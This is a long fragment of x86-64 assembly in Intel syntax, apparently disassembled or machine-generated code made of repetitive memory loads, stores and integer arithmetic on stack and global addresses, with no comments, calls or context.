lea rax, [rsp + 0xb1c0]
mov qword [rsp + 0xb6e8], rax
mov rax, qword [rsp + 0xa110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x140c]
sar eax, cl
mov rcx, qword [rsp + 0x95f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd6]
movsx ecx, byte [0x1401e87a7]
xor eax, ecx
mov byte [0x1401e705b], al
lea rax, [rsp + 0x1248]
mov qword [rsp + 0xb6f0], rax
movzx eax, word [rsp + 0x1374]
mov rcx, qword [rsp + 0x9b70]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov word [rcx], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xb6f8], rax
mov rax, qword [0x1401e89c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a80]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb128]
mov word [rcx], ax
mov rax, qword [rsp + 0x9178]
mov rcx, qword [rsp + 0xaaa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
lea rax, [rsp + 0x4fac]
mov qword [rsp + 0xb700], rax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9cb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9758], rax
mov rax, qword [rsp + 0xa2d0]
mov rax, qword [rax]
mov qword [rsp + 0xb708], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov rcx, qword [0x1401e8a38]
mov byte [rcx], al
movsx eax, word [rsp + 0x1150]
mov rcx, qword [rsp + 0x9f68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdb], al
movzx eax, word [rsp + 0x1300]
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0xaf58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x114], al
mov eax, dword [rsp + 0x5050]
mov dword [rsp + 0x52a0], eax
mov rax, qword [rsp + 0xb550]
mov rcx, qword [rsp + 0xb1f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xa2b0]
mov ecx, dword [rsp + 0x5234]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb558]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac20]
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0xb038]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8c28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7092], al
mov rax, qword [rsp + 0xb158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
xor eax, ecx
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x136c]
mov word [rsp + 0x14d0], ax
movzx eax, word [rsp + 0x12d0]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xac60]
mov word [rcx], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xb718], rax
mov eax, dword [rsp + 0x504c]
movzx ecx, al
mov eax, dword [rsp + 0x5130]
sar eax, cl
mov dword [rsp + 0x514c], eax
mov rax, qword [rsp + 0xb198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93c8]
mov qword [rsp + 0xb720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb720]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8e98], rax
lea rax, [rsp + 0x9c80]
mov qword [rsp + 0xb728], rax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x526c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x508c], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1280]
and eax, ecx
mov rcx, qword [0x1401e87d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9618]
movzx eax, word [rax]
mov word [rsp + 0x14d4], ax
movsx eax, byte [rsp + 0x193]
movsx ecx, byte [rsp + 0x12e]
add eax, ecx
mov byte [rsp + 0x140], al
movsx eax, word [0x1401e7068]
mov rcx, qword [rsp + 0xab08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ff8]
mov word [rcx], ax
lea rax, [rsp + 0xea]
mov qword [rsp + 0xb730], rax
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [rsp + 0x512c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5164], eax
mov rax, qword [rsp + 0xa7e0]
mov rax, qword [rax]
mov qword [rsp + 0xb738], rax
mov eax, dword [rsp + 0x5030]
mov ecx, dword [rsp + 0x4e24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e74], eax
mov rax, qword [rsp + 0xa228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ee8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1b8], rax
lea rax, [0x1401e7088]
mov qword [0x1401e8d30], rax
lea rax, [rsp + 0x13f]
mov qword [rsp + 0xb740], rax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
add eax, ecx
mov byte [rsp + 0x1aa], al
movzx eax, word [0x1401e7074]
mov word [rsp + 0x14d8], ax
movzx eax, byte [rsp + 0x146]
movzx ecx, byte [rsp + 0x100]
sub eax, ecx
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0xa670]
mov rcx, qword [rsp + 0x9308]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d30], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xb748], rax
mov rax, qword [rsp + 0x8e50]
movzx ecx, al
mov rax, qword [rsp + 0xabc8]
shl rax, cl
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0xa788]
mov eax, dword [rax]
mov dword [rsp + 0x52a4], eax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1034]
or eax, ecx
mov word [0x1401e70f8], ax
movzx eax, word [rsp + 0x13f4]
movzx ecx, word [rsp + 0x1018]
sar eax, cl
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xb750], rax
movzx eax, word [rsp + 0x124c]
mov rcx, qword [0x1401e8c60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0xb218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0xb650]
mov rax, qword [rax]
mov qword [rsp + 0xb758], rax
mov rax, qword [rsp + 0x8fc8]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff0], rax
mov eax, dword [rsp + 0x5050]
mov dword [rsp + 0x52a8], eax
mov eax, dword [rsp + 0x50fc]
mov ecx, dword [rsp + 0x5138]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5094], eax
lea rax, [0x1401e703b]
mov qword [0x1401e8d38], rax
mov rax, qword [rsp + 0x9290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfe], al
lea rax, [rsp + 0x1154]
mov qword [rsp + 0xb760], rax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9460]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1d0]
movzx eax, word [rax]
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0xa090]
mov ecx, dword [rsp + 0x4eb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50ec], eax
mov rax, qword [rsp + 0xa3e0]
mov rcx, qword [rsp + 0x95e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb348], rax
lea rax, [rsp + 0x4ff0]
mov qword [rsp + 0xb768], rax
mov rax, qword [rsp + 0xb170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [0x1401e70cc], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0xb770], rax
mov rax, qword [rsp + 0xb118]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1278], ax
movzx eax, byte [0x1401e7053]
mov rcx, qword [rsp + 0xb4f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa438]
mov byte [rcx], al
mov rax, qword [rsp + 0x9570]
movzx eax, word [rax]
mov word [rsp + 0x14e0], ax
mov rax, qword [rsp + 0xadb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ed0]
mov qword [rsp + 0xb778], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb778]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa628], rax
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov dword [rsp + 0x52ac], eax
mov eax, dword [rsp + 0x4cc4]
mov rcx, qword [rsp + 0xb188]
mov qword [rsp + 0xb780], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb780]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4fdc], eax
mov rax, qword [rsp + 0xb448]
mov rax, qword [rax]
mov qword [rsp + 0xb788], rax
movzx eax, byte [rsp + 0x130]
mov rcx, qword [rsp + 0xa370]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9930]
mov byte [rcx], al
mov rax, qword [rsp + 0xa9e0]
movzx eax, word [rax]
mov word [0x1401e8d40], ax
mov rax, qword [rsp + 0xa358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
xor eax, ecx
mov rcx, qword [rsp + 0xae08]
mov word [rcx], ax
lea rax, [rsp + 0x1a7]
mov qword [rsp + 0xb790], rax
movsx eax, word [rsp + 0x14a0]
movsx ecx, word [rsp + 0x1310]
and eax, ecx
mov word [rsp + 0x11f4], ax
lea rax, [rsp + 0x4fe0]
mov qword [rsp + 0xb798], rax
mov rax, qword [rsp + 0x93a8]
mov ecx, dword [rsp + 0x4f6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50c8], eax
mov rax, qword [rsp + 0xb110]
mov rcx, qword [rsp + 0xb670]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa5f8], rax
lea rax, [rsp + 0x9ee8]
mov qword [rsp + 0xb7a0], rax
mov rax, qword [rsp + 0xa5e0]
movzx eax, word [rax]
mov rcx, qword [0x1401e8b10]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9608]
mov word [rcx], ax
lea rax, [rsp + 0x18c]
mov qword [0x1401e8d48], rax
mov rax, qword [rsp + 0xa358]
movzx eax, word [rax]
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0x9fd0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb718]
mov byte [rcx], al
mov rax, qword [0x1401e8920]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov dword [rsp + 0x52b0], eax
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0xaef0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf50], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0x9dd0]
mov rcx, qword [rsp + 0x9138]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50c4], eax
movzx eax, byte [rsp + 0x103]
mov byte [rsp + 0x1ba], al
mov rax, qword [0x1401e8930]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13e]
sub eax, ecx
mov rcx, qword [0x1401e8b48]
mov byte [rcx], al
movsx eax, word [rsp + 0x1044]
movsx ecx, word [rsp + 0x1414]
xor eax, ecx
mov rcx, qword [rsp + 0xa128]
mov word [rcx], ax
movzx eax, word [rsp + 0x1040]
mov rcx, qword [rsp + 0x9ed0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1064], ax
lea rax, [rsp + 0x103]
mov qword [rsp + 0xb7b0], rax
mov eax, dword [rsp + 0x5084]
cdq
idiv dword [rsp + 0x52a0]
mov rcx, qword [rsp + 0xb088]
mov dword [rcx], eax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0xb7b8], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e60]
shl eax, cl
mov dword [rsp + 0x5168], eax
mov rax, qword [rsp + 0xadf0]
mov rcx, qword [rsp + 0xa528]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xaa50]
mov qword [rcx], rax
lea rax, [rsp + 0x13a8]
mov qword [rsp + 0xb7c0], rax
mov rax, qword [rsp + 0xb2f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b6]
and eax, ecx
mov rcx, qword [0x1401e8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x98d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
mov rax, qword [0x1401e8880]
movzx eax, word [rax]
mov word [rsp + 0x14e8], ax
movzx eax, byte [rsp + 0x171]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov byte [rcx], al
mov rax, qword [rsp + 0xa6e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x93c0]
mov eax, dword [rax]
mov dword [rsp + 0x52b4], eax
mov rax, qword [rsp + 0xad18]
mov rcx, qword [rsp + 0x9ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0xaa00]
mov qword [rsp + 0xb7c8], rax
mov rax, qword [rsp + 0xa228]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa670]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb320]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7093], al
mov rax, qword [rsp + 0xa580]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1390]
mov word [rsp + 0x14ec], ax
mov rax, qword [rsp + 0xa430]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x91a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa0c8]
mov byte [rcx], al
lea rax, [rsp + 0x127c]
mov qword [rsp + 0xb7d0], rax
mov eax, dword [rsp + 0x4cac]
mov ecx, dword [rsp + 0x5054]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50fc], eax
lea rax, [rsp + 0xabf0]
mov qword [rsp + 0xb7d8], rax
mov rax, qword [rsp + 0x9040]
mov rcx, qword [rsp + 0x9cc0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f88], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9650]
mov qword [rsp + 0xb7e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5104], eax
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x16a]
shl eax, cl
mov byte [0x1401e7096], al
movzx eax, word [rsp + 0x14e0]
mov word [rsp + 0x14f0], ax
movzx eax, byte [0x1401e8795]
mov rcx, qword [rsp + 0x9998]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb598]
mov byte [rcx], al
lea rax, [rsp + 0x102]
mov qword [rsp + 0xb7e8], rax
movzx eax, word [rsp + 0x140c]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
mov rax, qword [rsp + 0x9230]
mov rcx, qword [rsp + 0x8f98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb070], rax
lea rax, [rsp + 0x5128]
mov qword [rsp + 0xb7f0], rax
mov rax, qword [rsp + 0xb570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51c8], eax
mov rax, qword [rsp + 0xb0f8]
mov rax, qword [rax]
mov qword [rsp + 0xb7f8], rax
movsx eax, word [rsp + 0x1124]
movsx ecx, word [rsp + 0x11cc]
add eax, ecx
mov rcx, qword [0x1401e8a80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
movzx ecx, word [0x1401e7100]
sub eax, ecx
mov word [rsp + 0x11c4], ax
mov rax, qword [rsp + 0xa078]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11a], al
lea rax, [rsp + 0xff4]
mov qword [rsp + 0xb800], rax
mov rax, qword [rsp + 0xaf68]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8938]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xee], al
lea rax, [rsp + 0x9ac0]
mov qword [rsp + 0xb808], rax
mov eax, dword [rsp + 0x4f24]
mov ecx, dword [rsp + 0x4fe4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x526c], eax
lea rax, [rsp + 0x95e0]
mov qword [rsp + 0xb810], rax
mov rax, qword [rsp + 0xaf80]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e87f5], al
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x1048]
shl eax, cl
mov word [rsp + 0x10b0], ax
movzx eax, word [rsp + 0x1394]
mov word [rsp + 0x14f4], ax
movzx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0xac00]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x161], al
lea rax, [0x1401e703c]
mov qword [rsp + 0xb818], rax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x503c]
shr eax, cl
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0xa0e0]
mov qword [rsp + 0xb820], rax
mov rax, qword [rsp + 0xa088]
mov rcx, qword [rsp + 0xa280]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cec], eax
lea rax, [rsp + 0xe8]
mov qword [0x1401e8d50], rax
movzx eax, word [rsp + 0x1170]
mov word [rsp + 0x14f8], ax
mov rax, qword [rsp + 0xa430]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x144]
add eax, ecx
mov byte [rsp + 0x86], al
movzx eax, word [rsp + 0x1098]
movzx ecx, word [rsp + 0x1244]
sub eax, ecx
mov word [rsp + 0x1038], ax
lea rax, [rsp + 0x1250]
mov qword [rsp + 0xb828], rax
mov rax, qword [rsp + 0xb048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7c8], rax
mov eax, dword [rsp + 0x51c8]
mov dword [rsp + 0x52b8], eax
mov eax, dword [rsp + 0x5180]
mov ecx, dword [rsp + 0x4db4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb630], rax
movzx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0xa840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7083], al
mov rax, qword [rsp + 0x9568]
movzx eax, byte [rax]
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1310]
and eax, ecx
mov word [rsp + 0x1348], ax
lea rax, [rsp + 0x116c]
mov qword [rsp + 0xb830], rax
movzx eax, byte [rsp + 0xf7]
movzx ecx, byte [rsp + 0x100]
add eax, ecx
mov byte [rsp + 0x10b], al
mov eax, dword [rsp + 0x4e28]
mov dword [rsp + 0x52bc], eax
mov rax, qword [rsp + 0x9540]
mov rcx, qword [rsp + 0x9368]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x94d0], rax
mov eax, dword [rsp + 0x5260]
movzx ecx, al
mov eax, dword [rsp + 0x4e78]
sar eax, cl
mov dword [rsp + 0x4f4c], eax
mov rax, qword [rsp + 0x92e8]
mov qword [rsp + 0xb838], rax
movzx eax, word [rsp + 0x113c]
mov word [0x1401e8d58], ax
mov rax, qword [rsp + 0x97b0]
movsx eax, word [rax]
movsx ecx, word [0x1401e711c]
shl eax, cl
mov rcx, qword [rsp + 0xb6c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf1]
mov byte [rsp + 0x1bc], al
movsx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xa6], al
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0xa040]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ae], al
mov eax, dword [rsp + 0x51a8]
mov dword [rsp + 0x52c0], eax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa5a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9838]
mov eax, dword [rax]
mov dword [rsp + 0x52c4], eax
mov rax, qword [rsp + 0xb568]
mov rcx, qword [rsp + 0x9a70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa660], rax
movsx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0xa6c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xae08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1290]
add eax, ecx
mov word [0x1401e70dc], ax
lea rax, [rsp + 0x1368]
mov qword [rsp + 0xb840], rax
mov rax, qword [rsp + 0x9fa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
add eax, ecx
mov byte [rsp + 0x196], al
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xb848], rax
mov rax, qword [rsp + 0xb620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb348]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb550]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9118]
mov rcx, qword [rsp + 0xa7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e74], eax
lea rax, [0x1401e7028]
mov qword [rsp + 0xb850], rax
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ff4], eax
mov rax, qword [rsp + 0x9968]
movzx eax, word [rax]
mov word [rsp + 0x14fc], ax
mov rax, qword [rsp + 0xa418]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a68]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7138], ax
mov rax, qword [rsp + 0xa640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6a0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa9a0]
mov word [rcx], ax
lea rax, [rsp + 0x11b]
mov qword [rsp + 0xb858], rax
movzx eax, byte [rsp + 0x1b2]
mov rcx, qword [0x1401e8a98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x103], al
mov eax, dword [rsp + 0x4f1c]
movzx ecx, al
mov eax, dword [rsp + 0x5248]
shr eax, cl
mov dword [rsp + 0x5234], eax
mov rax, qword [rsp + 0xa4c0]
mov eax, dword [rax]
mov dword [rsp + 0x52c8], eax
mov rax, qword [rsp + 0xb048]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb3b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91a8]
mov rax, qword [rax]
mov qword [rsp + 0xb860], rax
movsx eax, byte [rsp + 0xc4]
movsx ecx, byte [rsp + 0x123]
sub eax, ecx
mov byte [rsp + 0x18c], al
movsx eax, word [rsp + 0x12a4]
mov rcx, qword [rsp + 0xabb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e8790], ax
movzx eax, word [rsp + 0x13d0]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x130c], ax
lea rax, [rsp + 0x1158]
mov qword [rsp + 0xb868], rax
movzx eax, byte [rsp + 0x1b2]
movzx ecx, byte [rsp + 0x13d]
sub eax, ecx
mov rcx, qword [rsp + 0xaf58]
mov byte [rcx], al
mov rax, qword [rsp + 0xa390]
mov eax, dword [rax]
mov dword [rsp + 0x52cc], eax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xae68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xad00], rax
mov rax, qword [rsp + 0xb2f0]
mov rcx, qword [rsp + 0x9e28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xad70]
mov qword [rcx], rax
lea rax, [rsp + 0x5288]
mov qword [rsp + 0xb870], rax
mov rax, qword [rsp + 0xa6c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x91a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb6], al
movzx eax, word [rsp + 0x12fc]
movzx ecx, word [rsp + 0x1024]
sub eax, ecx
mov word [0x1401e713c], ax
lea rax, [rsp + 0x83]
mov qword [rsp + 0xb878], rax
movsx eax, word [rsp + 0x1068]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x12c4], ax
mov rax, qword [rsp + 0xaf88]
movzx eax, byte [rax]
mov byte [rsp + 0x1bd], al
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
add eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0xab60]
mov rcx, qword [rsp + 0x9fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0x9cc8]
mov qword [rsp + 0xb880], rax
mov rax, qword [rsp + 0xa850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xab48], rax
lea rax, [rsp + 0x5170]
mov qword [rsp + 0xb888], rax
mov rax, qword [rsp + 0xb050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa340]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401e87f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x99c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa40]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9248]
mov byte [rcx], al
movsx eax, word [rsp + 0x1080]
mov rcx, qword [0x1401e8ac8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13f0], ax
mov rax, qword [rsp + 0xb0e8]
movzx eax, word [rax]
mov word [rsp + 0x1500], ax
mov rax, qword [rsp + 0x9f58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a9]
and eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0xaf98]
mov eax, dword [rax]
mov dword [rsp + 0x52d0], eax
mov rax, qword [rsp + 0x9948]
mov rcx, qword [rsp + 0x97b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac98], rax
